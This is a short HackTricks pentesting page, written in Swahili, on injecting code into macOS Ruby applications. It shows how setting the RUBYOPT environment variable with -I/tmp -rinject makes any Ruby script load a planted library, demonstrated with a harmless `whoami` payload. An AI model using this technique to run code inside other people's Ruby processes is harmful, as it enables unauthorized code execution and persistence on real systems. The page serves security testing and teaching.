macOS Ruby Applications Injection

Support HackTricks

RUBYOPT

Kwa kutumia hii env variable inawezekana kuongeza params mpya kwa ruby kila wakati inatekelezwa. Ingawa param -e haiwezi kutumika kubaini ruby code ya kutekeleza, inawezekana kutumia params -I na -r kuongeza folda mpya kwenye maktaba za kupakia na kisha kubaini maktaba ya kupakia.

Unda maktaba inject.rb katika /tmp:

inject.rb
puts `whoami`

Unda popote script ya ruby kama:

hello.rb
puts 'Hello, World!'

Kisha fanya script ya ruby isiyo na mpangilio iitwe na:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fun fact, inafanya kazi hata na param --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Support HackTricks

Last updated